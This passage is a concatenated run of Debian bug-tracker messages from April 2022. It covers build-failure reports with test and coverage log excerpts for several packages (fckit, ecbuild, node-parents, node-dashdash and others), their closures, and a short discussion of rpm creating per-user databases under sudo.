CMakeFiles/main.dir/link.txt --verbose=1 > /usr/bin/gfortran -Wl,-z,relro-Wl,--disable-new-dtags > CMakeFiles/main.dir/main.F90.o -o bin/main > -Wl,-rpath,"\$ORIGIN/../lib/x86_64-linux-gnu:/<>/debian/build-gfortran/lib:/usr/lib/x86_64-linux-gnu/openmpi/lib" > lib/libdownstream.so > /<>/debian/build-gfortran/lib/libfckit.so.0d > -Wl,-rpath-link,/usr/lib/x86_64-linux-gnu/openmpi/lib > make[5]: Leaving directory > '/<>/debian/build-gfortran/src/tests/test_downstream_fypp/downstream' > [100%] Built target main > make[4]: Leaving directory > '/<>/debian/build-gfortran/src/tests/test_downstream_fypp/downstream' > /usr/bin/cmake -E cmake_progress_start > /<>/debian/build-gfortran/src/tests/test_downstream_fypp/downstream/CMakeFiles > 0 > make[3]: Leaving directory > '/<>/debian/build-gfortran/src/tests/test_downstream_fypp/downstream' > + bin/main > bin/main: error while loading shared libraries: libdownstream.so: cannot open > shared object file: No such file or directory > + test_failed > + EXIT_CODE=127 > + > Test failed > + > > 14/14 Test #14: fckit_test_downstream_fctest . Passed2.57 sec > > 93% tests passed, 1 tests failed out of 14 > > Label Time Summary: > executable= 1.00 sec*proc (12 tests) > fckit = 5.73 sec*proc (14 tests) > fortran = 0.99 sec*proc (11 tests) > mpi = 0.83 sec*proc (2 tests) > > Total Test time (real) = 2.60 sec > > The following tests FAILED: >13 - fckit_test_downstream_fypp (Failed) > Errors while running CTest > make[2]: *** [Makefile:94: test] Error 8 > make[2]: Leaving directory '/<>/debian/build-gfortran' > rm -fr -- /tmp/dh-xdg-rundir-6okS9_Le > dh_auto_test: error: cd debian/build-gfortran && make -j8 test ARGS\+=-j8 > returned exit code 2 The full build log is available from: http://qa-logs.debian.net/2022/04/12/fckit_0.9.5-1_unstable.log All bugs filed during this archive rebuild are listed at: https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20220412;users=lu...@debian.org or: https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20220412=lu...@debian.org=1=1=1=1#results A list of current common problems and possible solutions is available at http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute! If you reassign this bug to another package, please marking it as 'affects'-ing this package. See https://www.debian.org/Bugs/server-control#affects If you fail to reproduce this, please provide a build log and diff it with mine so that we can identify if something relevant changed in the meantime. --- End Message --- --- Begin Message --- close 10009472 thanks Closing ; transient build error -- Debian Developer: mckins...@debian.org matrix:@sceal.ie:mckinstry--- End Message ---
Bug#1009435: marked as done (ecbuild: FTBFS: dh_auto_test: error: cd obj-x86_64-linux-gnu && make -j8 test ARGS\+=--verbose ARGS\+=-j8 returned exit code 2)
Your message dated Mon, 18 Apr 2022 14:33:26 +0100 with message-id <8c614014-ee02-1cef-3e5b-852da8e4a...@debian.org> and subject line Close - transient build errror has caused the Debian Bug report #1009435, regarding ecbuild: FTBFS: dh_auto_test: error: cd obj-x86_64-linux-gnu && make -j8 test ARGS\+=--verbose ARGS\+=-j8 returned exit code 2 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1009435: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009435 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: ecbuild Version: 3.6.5-1 Severity: serious Justification: FTBFS Tags: bookworm sid ftbfs User: lu...@debian.org Usertags: ftbfs-20220412 ftbfs-bookworm Hi, During a rebuild of all packages in sid, your package failed to build on amd64. Relevant part (hopefully): > make[4]: Entering directory > '/<>/obj-x86_64-linux-gnu/regressions/ECBUILD_433/build' > [ 75%] Building C object CMakeFiles/myexe.dir/myexe.c.o > [100%] Linking C executable bin/myexe > make[4]: Leaving directory > '/<>/obj-x86_64-linux-gnu/regressions/ECBUILD_433/build' > [100%] Built target myexe > make[3]: Leaving directory > '/<>/obj-x86_64-linux-gnu/regressions/ECBUILD_433/build' > make[2]: Leaving directory > '/<>/obj-x86_64-linux-gnu/regressions/ECBUILD_433/build' > build2/bin/myexe: error while loading shared libraries: libmylib.so: cannot > open shared object file: No such file or directory > > test 13 > Start 13: bundle-subproj > > 13: Test command: > /<>/obj-x86_64-linux-gnu/tests/bundle_subproj/run-test.sh > 13: Environment variables: > 13: OMP_NUM_THREADS=1 > 13: Test timeout computed to be: 1500 > 9: [ 83%] Building C object CMakeFiles/main.dir/main.c.o > 10: -- Performing Test dummy_C_FLAG_TEST_1 - Success > 10: -- Added C flag [-pipe] > 10: -- Looking for sys/types.h > 2: make[2]: Entering directory > '/<>/obj-x86_64-linux-gnu/regressions/ECBUILD_401/projectA/build' > 2: make[2]: warning: jobserver unavailable: using -j1. Add '+' to parent > make rule. > 8: [100%] Linking C shared library ../lib/libprojectB.so > 11: -- Detecting C compiler ABI info - done > 12: Found CMake version 3.23.0 > 12: > 12: cmake -DCMAKE_MODULE_PATH=/<>/cmake > -DCMAKE_INSTALL_PREFIX=../install -DINSTALL_LIB_DIR=lib .. > 12: > 1: -- - > 1: -- Adding bundle project bar > 1: CMake Warning (dev) at bar/CMakeLists.txt:11 (find_package): > 1: Policy CMP0074 is not set: find_package uses _ROOT > variables. > 1: Run "cmake --help-policy CMP0074" for policy details. Use the > cmake_policy > 1: command to set the policy and suppress this warning. > 1: > 1: Environment variable ecbuild_ROOT is set to: > 1: > 1: /<> > 1: > 1: For compatibility, CMake is ignoring the variable. > 1: This warning is for project developers. Use -Wno-dev to suppress it. > 1: > 11: -- Check for working C compiler: /usr/bin/cc - skipped > 11: -- Detecting C compile features > 12: CMake Warning (dev) at CMakeLists.txt:3 (find_package): > 12: Policy CMP0074 is not set: find_package uses _ROOT > variables. > 12: Run "cmake --help-policy CMP0074" for policy details. Use the > cmake_policy > 12: command to set the policy and suppress this warning. > 12: > 12: Environment variable ecbuild_ROOT is set to: > 12: > 12: /<> > 12: > 12: For compatibility, CMake is ignoring the variable. > 12: This warning is for project developers. Use -Wno-dev to suppress it. > 12: > 11: -- Detecting C compile features - done > 2: make[3]: Entering directory > '/<>/obj-x86_64-linux-gnu/regressions/ECBUILD_401/projectA/build' > 1: -- - > 1: -- [bar] (1.0.0) > 11: -- Performing Test mylib_C_FLAG_TEST_1 > 9: [100%] Linking C executable bin/main > 2: make[4]: Entering directory > '/<>/obj-x86_64-linux-gnu/regressions/ECBUILD_401/projectA/build' > 1: -- Feature TESTS enabled > 1: -- bar FOUND foo: > /<>/obj-x86_64-linux-gnu/regressions/ECBUILD_359/bundle/build/foo > (found version "1.0.0") > 12: -- ecbuild 3.6.5/<>/cmake > 12: -- cmake 3.23.0 /usr/bin/cmake > 12: -- - > 2: make[4]: Leaving directory > '/<>/obj-x86_64-linux-gnu/regressions/ECBUILD_401/projectA/build' > 8: make[4]: Leaving directory > '/<>/obj-x86_64-linux-gnu/regressions/ECBUILD_511/bundleAB/build' > 2: make[4]: Entering directory > '/<>/obj-x86_64-linux-gnu/regressions/ECBUILD_401/projectA/build' > 8: [100%] Built target projectB > 8: make[3]: Leaving directory >
Bug#1008818: why is this rpm's fault?
On Mon, Apr 18, 2022 at 02:56:37PM +0200, la...@debian.org wrote: > > > On one side, “rpm -qa” will create the directory in my home directory as > > myself, but “sudo rpm -qa” will do the wrong thing. > > What do you mean by wrong? > > On my bullseye machine sudo rpm -qa creates the subdirectory in > /root/.rpmdb as root. So IMO this works correct. > > rpm -qa without sudo creates $HOME/rpmdb as my user. This is also > correct. > > I don't understand why this bug was assigned to rpm. If you run sudo without the "set_home" option, thus making it preserve the HOME environment variable, rpm run as root with HOME set to /home/something will indeed do the wrong thing. I will take a look into making the controversial Debian local patch to rpm for creating a per-user database perform some more checks. G'luck, Peter -- Peter Pentchev r...@ringlet.net r...@debian.org p...@storpool.com PGP key:http://people.FreeBSD.org/~roam/roam.key.asc Key fingerprint 2EE7 A7A5 17FC 124C F115 C354 651E EFB0 2527 DF13 signature.asc Description: PGP signature
Bug#1009203: marked as done (unicycler: (autopkgtest) needs update for python3.10: fails on deprecation warning on stderr)
Your message dated Mon, 18 Apr 2022 14:47:18 +0200 with message-id and subject line closed by previous spades upload has caused the Debian Bug report #1009203, regarding unicycler: (autopkgtest) needs update for python3.10: fails on deprecation warning on stderr to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1009203: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009203 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: unicycler Version: 0.4.8+dfsg-2 Severity: serious Tags: sid bookworm User: debian...@lists.debian.org Usertags: needs-update User: debian-pyt...@lists.debian.org Usertags: python3.10 Control: affects -1 src:python3-defaults Dear maintainer(s), We are in the transition of making python3.10 the default Python versions [0]. With a recent upload of python3-defaults the autopkgtest of unicycler fails in testing when that autopkgtest is run with the binary packages of python3-defaults from unstable. It passes when run with only packages from testing. In tabular form: passfail python3-defaults from testing3.10.4-1 unicycler from testing0.4.8+dfsg-2 all others from testingfrom testing I copied some of the output at the bottom of this report. Currently this regression is blocking the migration of python3-defaults to testing [1]. https://docs.python.org/3/whatsnew/3.10.html lists what's new in Python3.10, it may help to identify what needs to be updated. More information about this bug and the reason for filing it can be found on https://wiki.debian.org/ContinuousIntegration/RegressionEmailInformation Paul [0] https://bugs.debian.org/1006836 [1] https://qa.debian.org/excuses.php?package=python3-defaults https://ci.debian.net/data/autopkgtest/testing/amd64/u/unicycler/20675511/log.gz Error: SPAdes encountered an error: /usr/lib/spades/bin/spades.py:13: DeprecationWarning: The distutils package is deprecated and slated for removal in Python 3.12. Use setuptools or check PEP 632 for potential alternatives OpenPGP_signature Description: OpenPGP digital signature --- End Message --- --- Begin Message --- Version: 3.15.4+dfsg-1 Introduction of the newer SPAdes version in testing fixed unicycler autopkgtest regression from python3-defaults. Thanks, -- Étienne Mollier Fingerprint: 8f91 b227 c7d6 f2b1 948c 8236 793c f67e 8f0d 11da Sent from /dev/pts/2, please excuse my verbosity. On air: Avantasia - The Scarecrow signature.asc Description: PGP signature --- End Message ---
Bug#1008818: why is this rpm's fault?
> On one side, “rpm -qa” will create the directory in my home directory as > myself, but “sudo rpm -qa” will do the wrong thing. What do you mean by wrong? On my bullseye machine sudo rpm -qa creates the subdirectory in /root/.rpmdb as root. So IMO this works correct. rpm -qa without sudo creates $HOME/rpmdb as my user. This is also correct. I don't understand why this bug was assigned to rpm. -- regards Thomas
Processed: Re: unicycler: (autopkgtest) needs update for python3.10: fails on deprecation warning on stderr
Processing control commands: > reassign -1 src:spades 3.13.1+dfsg-2 Bug #1009203 [src:unicycler] unicycler: (autopkgtest) needs update for python3.10: fails on deprecation warning on stderr Bug reassigned from package 'src:unicycler' to 'src:spades'. No longer marked as found in versions unicycler/0.4.8+dfsg-2. Ignoring request to alter fixed versions of bug #1009203 to the same values previously set Bug #1009203 [src:spades] unicycler: (autopkgtest) needs update for python3.10: fails on deprecation warning on stderr Marked as found in versions spades/3.13.1+dfsg-2. > fixed -1 3.15.4+dfsg-1 Bug #1009203 [src:spades] unicycler: (autopkgtest) needs update for python3.10: fails on deprecation warning on stderr Marked as fixed in versions spades/3.15.4+dfsg-1. -- 1009203: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009203 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009804: pytest-salt-factories: autopkgtest failure with python3.10
Source: pytest-salt-factories Version: 0.907.0-4 Severity: serious Tags: sid bookworm pytest-salt-factories' autopkgtests fail with python3.10: === 229 passed, 2 skipped, 60 warnings in 133.67s (0:02:13) autopkgtest [03:46:37]: test pytest: ---] autopkgtest [03:46:37]: test pytest: - - - - - - - - - - results - - - - - - - - - - pytest FAIL stderr: :914: ImportWarning: TornadoImporter.find_spec() not found; falling back to find_module() autopkgtest [03:46:38]: test pytest: - - - - - - - - - - stderr - - - - - - - - - - :914: ImportWarning: TornadoImporter.find_spec() not found; falling back to find_module() :914: ImportWarning: SixRedirectImporter.find_spec() not found; falling back to find_module() autopkgtest [03:46:38]: summary pytest FAIL stderr: :914: ImportWarning: TornadoImporter.find_spec() not found; falling back to find_module() See https://ci.debian.net/data/autopkgtest/testing/amd64/p/pytest-salt-factories/20956632/log.gz Please add the restriction to not fail on stderr output or fix the warnings. Cheers -- Sebastian Ramacher
Bug#1009520: marked as done (node-parents: FTBFS: ERROR: Coverage for statements (96.29%) does not meet global threshold (100%))
Your message dated Mon, 18 Apr 2022 06:33:57 +
with message-id
and subject line Bug#1009520: fixed in node-parents 1.0.1+~1.0.1-1
has caused the Debian Bug report #1009520,
regarding node-parents: FTBFS: ERROR: Coverage for statements (96.29%) does not
meet global threshold (100%)
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1009520: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009520
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: node-parents
Version: 1.0.1-6
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20220412 ftbfs-bookworm
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> debian/rules binary
> dh binary
>dh_update_autotools_config
>dh_autoreconf
>dh_auto_configure --buildsystem=nodejs
>dh_auto_build --buildsystem=nodejs
> No build command found, searching known files
>dh_auto_test --buildsystem=nodejs
> mkdir -p node_modules
> ln -s ../. node_modules/parents
> /bin/sh -ex debian/tests/pkg-js/test
> + tap test/dirname.js test/win32.js
> TAP version 13
> ok 1 - test/dirname.js # time=17.25ms {
> # Subtest: dirname
> ok 1 - should be equivalent
> 1..1
> ok 1 - dirname # time=8.779ms
>
> # Subtest: root
> ok 1 - should be equivalent
> 1..1
> ok 2 - root # time=1.332ms
>
> 1..2
> # time=17.25ms
> }
>
> ok 2 - test/win32.js # time=26.916ms {
> # Subtest: win32
> ok 1 - should be equivalent
> 1..1
> ok 1 - win32 # time=9.766ms
>
> # Subtest: win32 c:
> ok 1 - should be equivalent
> 1..1
> ok 2 - win32 c: # time=1.409ms
>
> # Subtest: win32 network drive
> ok 1 - should be equivalent
> 1..1
> ok 3 - win32 network drive # time=1.303ms
>
> 1..3
> # time=26.916ms
> }
>
> 1..2
> # time=958.572ms
> ERROR: Coverage for branches (86.66%) does not meet global threshold (100%)
> ERROR: Coverage for statements (96.29%) does not meet global threshold (100%)
> --|-|--|-|-|---
> File | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s
> --|-|--|-|-|---
> All files | 96.29 |86.66 | 100 | 100 |
> index.js | 96.29 |86.66 | 100 | 100 | 4,11,36-37
> --|-|--|-|-|---
> dh_auto_test: error: /bin/sh -ex debian/tests/pkg-js/test returned exit code 1
The full build log is available from:
http://qa-logs.debian.net/2022/04/12/node-parents_1.0.1-6_unstable.log
All bugs filed during this archive rebuild are listed at:
https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20220412;users=lu...@debian.org
or:
https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20220412=lu...@debian.org=1=1=1=1#results
A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!
If you reassign this bug to another package, please marking it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects
If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Source: node-parents
Source-Version: 1.0.1+~1.0.1-1
Done: Yadd
We believe that the bug you reported is fixed in the latest version of
node-parents, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to 1009...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Yadd (supplier of updated node-parents package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512
Format: 1.8
Date: Mon, 18 Apr 2022 08:10:38 +0200
Source: node-parents
Architecture: source
Version: 1.0.1+~1.0.1-1
Distribution: unstable
Urgency: medium
Maintainer: Debian Javascript Maintainers
Changed-By: Yadd
Closes: 1009520
Bug#1009570: marked as done (node-dashdash: FTBFS: ERROR: Coverage for statements (81.9%) does not meet global threshold (100%))
Your message dated Mon, 18 Apr 2022 06:18:59 +
with message-id
and subject line Bug#1009570: fixed in node-dashdash 2.0.0-3
has caused the Debian Bug report #1009570,
regarding node-dashdash: FTBFS: ERROR: Coverage for statements (81.9%) does not
meet global threshold (100%)
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1009570: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009570
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: node-dashdash
Version: 2.0.0-2
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20220412 ftbfs-bookworm
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> debian/rules binary
> dh binary
>dh_update_autotools_config
>dh_autoreconf
>dh_auto_configure --buildsystem=nodejs
>dh_auto_build --buildsystem=nodejs
> No build command found, searching known files
>dh_auto_test --buildsystem=nodejs
> mkdir -p node_modules
> ln -s ../. node_modules/dashdash
> /bin/sh -ex debian/tests/pkg-js/test
> + tap test/basics.test.js
> TAP version 13
> (node:3375378) DeprecationWarning: deepEqual() is deprecated, use same()
> instead
> (Use `node --trace-deprecation ...` to show where the warning was created)
> ok 1 - test/basics.test.js # time=322.339ms {
> # Subtest: exports
> ok 1 - dashdash.createParser
> ok 2 - dashdash.parse
> ok 3 - dashdash.Parser
> 1..3
> ok 1 - exports # time=5.769ms
>
> # Subtest: createParser
> ok 1 - expect truthy value
> 1..1
> ok 2 - createParser # time=2.393ms
>
> # Subtest: Parser
> ok 1 - expect truthy value
> 1..1
> ok 3 - Parser # time=0.83ms
>
> # Subtest: parse
> ok 1 - expect truthy value
> 1..1
> ok 4 - parse # time=2.117ms
>
> # Subtest: old Parser.parse() API
> ok 1 - expect truthy value
> ok 2 - expect truthy value
> 1..2
> ok 5 - old Parser.parse() API # time=1.271ms
>
> # Subtest: slice
> ok 1 - expect truthy value
> ok 2 - should be equal
> ok 3 - expect truthy value
> ok 4 - should be equal
> 1..4
> ok 6 - slice # time=1.343ms
>
> # Subtest: synopsisFromOpt
> ok 1 - should be equal
> ok 2 - should be equal
> 1..2
> ok 7 - synopsisFromOpt # time=1.26ms
>
> # Subtest: case 0: node tool.js
> ok 1 - should be equivalent
> 1..1
> ok 8 - case 0: node tool.js # time=5.738ms
>
> # Subtest: case 1: node tool.js a b c
> ok 1 - should be equivalent
> 1..1
> ok 9 - case 1: node tool.js a b c # time=1.898ms
>
> # Subtest: case 2: node tool.js a b
> ok 1 - should be equivalent
> 1..1
> ok 10 - case 2: node tool.js a b # time=1.186ms
>
> # Subtest: case 3: node tool.js -- a
> ok 1 - should be equivalent
> 1..1
> ok 11 - case 3: node tool.js -- a # time=0.889ms
>
> # Subtest: case 4: node tool.js a -- b
> ok 1 - should be equivalent
> 1..1
> ok 12 - case 4: node tool.js a -- b # time=0.946ms
>
> # Subtest: case 5: node tool.js a -- --help
> ok 1 - should be equivalent
> 1..1
> ok 13 - case 5: node tool.js a -- --help # time=0.731ms
>
> # Subtest: case 6: node tool.js --help
> ok 1 - should be equivalent
> 1..1
> ok 14 - case 6: node tool.js --help # time=0.778ms
>
> # Subtest: case 7: node tool.js --help a b
> ok 1 - should be equivalent
> 1..1
> ok 15 - case 7: node tool.js --help a b # time=1.035ms
>
> # Subtest: case 8: node tool.js a --help b
> ok 1 - should be equivalent
> 1..1
> ok 16 - case 8: node tool.js a --help b # time=1.008ms
>
> # Subtest: case 9: node tool.js a --help b
> ok 1 - should be equivalent
> 1..1
> ok 17 - case 9: node tool.js a --help b # time=1.004ms
>
> # Subtest: case 10: node tool.js a --help b
> ok 1 - should be equivalent
> 1..1
> ok 18 - case 10: node tool.js a --help b # time=0.904ms
>
> # Subtest: case 11: node tool.js --help=foo
> ok 1 - error message did not match /argument given to .* option that
> does not take one/: "argument given to "--help" option that does not take
> one: "--help=foo""
> ok 2 - expected an error
> 1..2
> ok 19 - case
Bug#1009561: marked as done (node-parse-base64vlq-mappings: FTBFS: ERROR: Coverage for statements (79.31%) does not meet global threshold (100%))
Your message dated Mon, 18 Apr 2022 06:19:26 +
with message-id
and subject line Bug#1009561: fixed in node-parse-base64vlq-mappings 0.1.4-7
has caused the Debian Bug report #1009561,
regarding node-parse-base64vlq-mappings: FTBFS: ERROR: Coverage for statements
(79.31%) does not meet global threshold (100%)
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1009561: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009561
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: node-parse-base64vlq-mappings
Version: 0.1.4-6
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20220412 ftbfs-bookworm
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> debian/rules binary
> dh binary
>dh_update_autotools_config
>dh_autoreconf
>dh_auto_configure --buildsystem=nodejs
>dh_auto_build --buildsystem=nodejs
> No build command found, searching known files
>dh_auto_test --buildsystem=nodejs
> mkdir -p node_modules
> ln -s ../. node_modules/parse-base64vlq-mappings
> /bin/sh -ex debian/tests/pkg-js/test
> + tap test/parse-base64vlq-mappings.js
> TAP version 13
> (node:117004) DeprecationWarning: deepEqual() is deprecated, use same()
> instead
> (Use `node --trace-deprecation ...` to show where the warning was created)
> ok 1 - test/parse-base64vlq-mappings.js # time=21.206ms {
> # Subtest: parsing generated one to one mappings with last line having no
> original
> ok 1 - parses out added mappings
> 1..1
> ok 1 - parsing generated one to one mappings with last line having no
> original # time=11.255ms
>
> # Subtest: parsing generated offset mappings with last line having no
> original
> ok 1 - parses out added mappings
> 1..1
> ok 2 - parsing generated offset mappings with last line having no
> original # time=2.145ms
>
> 1..2
> # time=21.206ms
> }
>
> 1..1
> # time=857.86ms
> ERROR: Coverage for lines (79.31%) does not meet global threshold (100%)
> ERROR: Coverage for functions (62.5%) does not meet global threshold (100%)
> ERROR: Coverage for branches (57.14%) does not meet global threshold (100%)
> ERROR: Coverage for statements (79.31%) does not meet global threshold (100%)
> ---|-|--|-|-|---
> File | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s
> ---|-|--|-|-|---
> All files | 79.31 |57.14 |62.5 | 79.31 |
> base64-vlq.js | 66.66 | 25 | 50 | 66.66 | 40,63-79,95
> base64.js | 69.23 | 25 | 66.66 | 69.23 | 21-24,34
> index.js | 92.68 |81.25 | 100 | 92.68 | 29,47,59
> ---|-|--|-|-|---
> dh_auto_test: error: /bin/sh -ex debian/tests/pkg-js/test returned exit code 1
The full build log is available from:
http://qa-logs.debian.net/2022/04/12/node-parse-base64vlq-mappings_0.1.4-6_unstable.log
All bugs filed during this archive rebuild are listed at:
https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20220412;users=lu...@debian.org
or:
https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20220412=lu...@debian.org=1=1=1=1#results
A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!
If you reassign this bug to another package, please marking it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects
If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Source: node-parse-base64vlq-mappings
Source-Version: 0.1.4-7
Done: Yadd
We believe that the bug you reported is fixed in the latest version of
node-parse-base64vlq-mappings, which is due to be installed in the Debian FTP
archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to 1009...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Yadd (supplier of updated node-parse-base64vlq-mappings
package)
(This message was
Bug#1009560: marked as done (node-mute-stream: FTBFS: ERROR: Coverage for statements (75.36%) does not meet global threshold (100%))
Your message dated Mon, 18 Apr 2022 06:19:14 +
with message-id
and subject line Bug#1009560: fixed in node-mute-stream 0.0.8+~0.0.1-2
has caused the Debian Bug report #1009560,
regarding node-mute-stream: FTBFS: ERROR: Coverage for statements (75.36%) does
not meet global threshold (100%)
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1009560: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009560
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: node-mute-stream
Version: 0.0.8+~0.0.1-1
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20220412 ftbfs-bookworm
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> debian/rules binary
> dh binary
>dh_update_autotools_config
>dh_autoreconf
>dh_auto_configure --buildsystem=nodejs
> Link node_modules/@types/mute-stream -> ../../types-mute-stream
>dh_auto_build --buildsystem=nodejs
> No build command found, searching known files
> No build command found, searching known files
>dh_auto_test --buildsystem=nodejs
> ln -s ../. node_modules/mute-stream
> /bin/sh -ex debian/tests/pkg-js/test
> + tap test
> TAP version 13
> ok 1 - test/basic.js # time=25.16ms {
> # Subtest: incoming
> ok 1 - should be equal
> ok 2 - should be equal
> ok 3 - should be equal
> 1..3
> ok 1 - incoming # time=5.356ms
>
> # Subtest: outgoing
> ok 1 - should be equal
> ok 2 - should be equal
> ok 3 - should be equal
> 1..3
> ok 2 - outgoing # time=1.268ms
>
> # Subtest: isTTY
> ok 1 - should be equal
> ok 2 - should be equal
> ok 3 - should be equal
> ok 4 - should be equal
> ok 5 - should be equal
> ok 6 - should be equal
> ok 7 - should be equal
> ok 8 - should be equal
> ok 9 - should be equal
> ok 10 - should be equal
> ok 11 - should be equal
> ok 12 - should be equal
> ok 13 - should be equal
> ok 14 - should be equal
> ok 15 - should be equal
> ok 16 - should be equal
> ok 17 - should be equal
> ok 18 - should be equal
> ok 19 - should be equal
> ok 20 - should be equal
> 1..20
> ok 3 - isTTY # time=2.839ms
>
> # Subtest: pause/resume incoming
> ok 1 - should be equal
> ok 2 - should be equal
> ok 3 - should be equal
> ok 4 - should be equal
> ok 5 - saw all events
> 1..5
> ok 4 - pause/resume incoming # time=1.175ms
>
> # Subtest: replace with *
> ok 1 - should be equal
> ok 2 - should be equal
> ok 3 - should be equal
> ok 4 - should be equal
> ok 5 - should be equal
> ok 6 - should be equal
> ok 7 - should be equal
> ok 8 - should be equal
> ok 9 - should be equal
> 1..9
> ok 5 - replace with * # time=1.679ms
>
> # Subtest: replace with ~YARG~
> ok 1 - should be equal
> ok 2 - should be equal
> ok 3 - should be equal
> ok 4 - should be equal
> ok 5 - should be equal
> ok 6 - should be equal
> ok 7 - should be equal
> ok 8 - should be equal
> ok 9 - should be equal
> 1..9
> ok 6 - replace with ~YARG~ # time=1.206ms
>
> 1..6
> # time=25.16ms
> }
>
> 1..1
> # time=721.218ms
> ERROR: Coverage for lines (77.77%) does not meet global threshold (100%)
> ERROR: Coverage for functions (93.33%) does not meet global threshold (100%)
> ERROR: Coverage for branches (57.14%) does not meet global threshold (100%)
> ERROR: Coverage for statements (75.36%) does not meet global threshold (100%)
> --|-|--|-|-|-
> File | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s
>
> --|-|--|-|-|-
> All files | 75.36 |57.14 | 93.33 | 77.77 |
>
> mute.js | 75.36 |57.14 | 93.33 | 77.77 |
> 104-110,114-116,127,137-140
> --|-|--|-|-|-
> dh_auto_test: error: /bin/sh -ex debian/tests/pkg-js/test returned exit code 1
The full build log is available from:
http://qa-logs.debian.net/2022/04/12/node-mute-stream_0.0.8+~0.0.1-1_unstable.log
All
Bug#1009514: marked as done (node-http-signature: FTBFS: ERROR: Coverage for statements (88.86%) does not meet global threshold (100%))
Your message dated Mon, 18 Apr 2022 06:19:04 +
with message-id
and subject line Bug#1009514: fixed in node-http-signature 1.3.6-2
has caused the Debian Bug report #1009514,
regarding node-http-signature: FTBFS: ERROR: Coverage for statements (88.86%)
does not meet global threshold (100%)
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
